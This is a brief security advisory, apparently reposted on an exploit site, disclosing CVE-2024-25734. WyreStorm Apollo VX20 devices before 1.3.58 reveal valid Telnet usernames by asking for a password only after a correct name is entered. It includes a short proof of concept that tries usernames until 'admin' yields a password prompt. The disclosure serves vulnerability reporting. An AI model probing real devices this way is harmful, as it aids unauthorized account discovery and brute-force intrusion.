Exploit for WyreStorm Apollo VX20 Account Enumeration Vulnerability CVE-2024-25734

## https://sploitus.com/exploit?id=1337DAY-ID-39325
[+] Credits: John Page (aka hyp3rlinx)    
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/WYRESTORM_APOLLO_VX20_ACCOUNT_ENUMERATION_CVE-2024-25734.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec     
 

[Vendor]
www.wyrestorm.com


[Product]
APOLLO VX20 < 1.3.58

[Vulnerability Type]
Account Enumeration


[CVE Reference]
CVE-2024-25734


[Security Issue]
An issue was discovered on WyreStorm Apollo VX20 devices before 1.3.58. The TELNET service prompts for a password only after a valid username is entered.
Attackers who can reach the Apollo VX20 Telnet service can determine valid accounts, this can potentially allow for brute force attack on a valid account.


[Exploit/POC]
TELNET x.x.x.x 23
username:aa
username:bb
username:admin
password:


[Network Access]
Remote


 [Affected Product Code Base]
 APOLLO VX20 - < 1.3.58, fixed in v1.3.58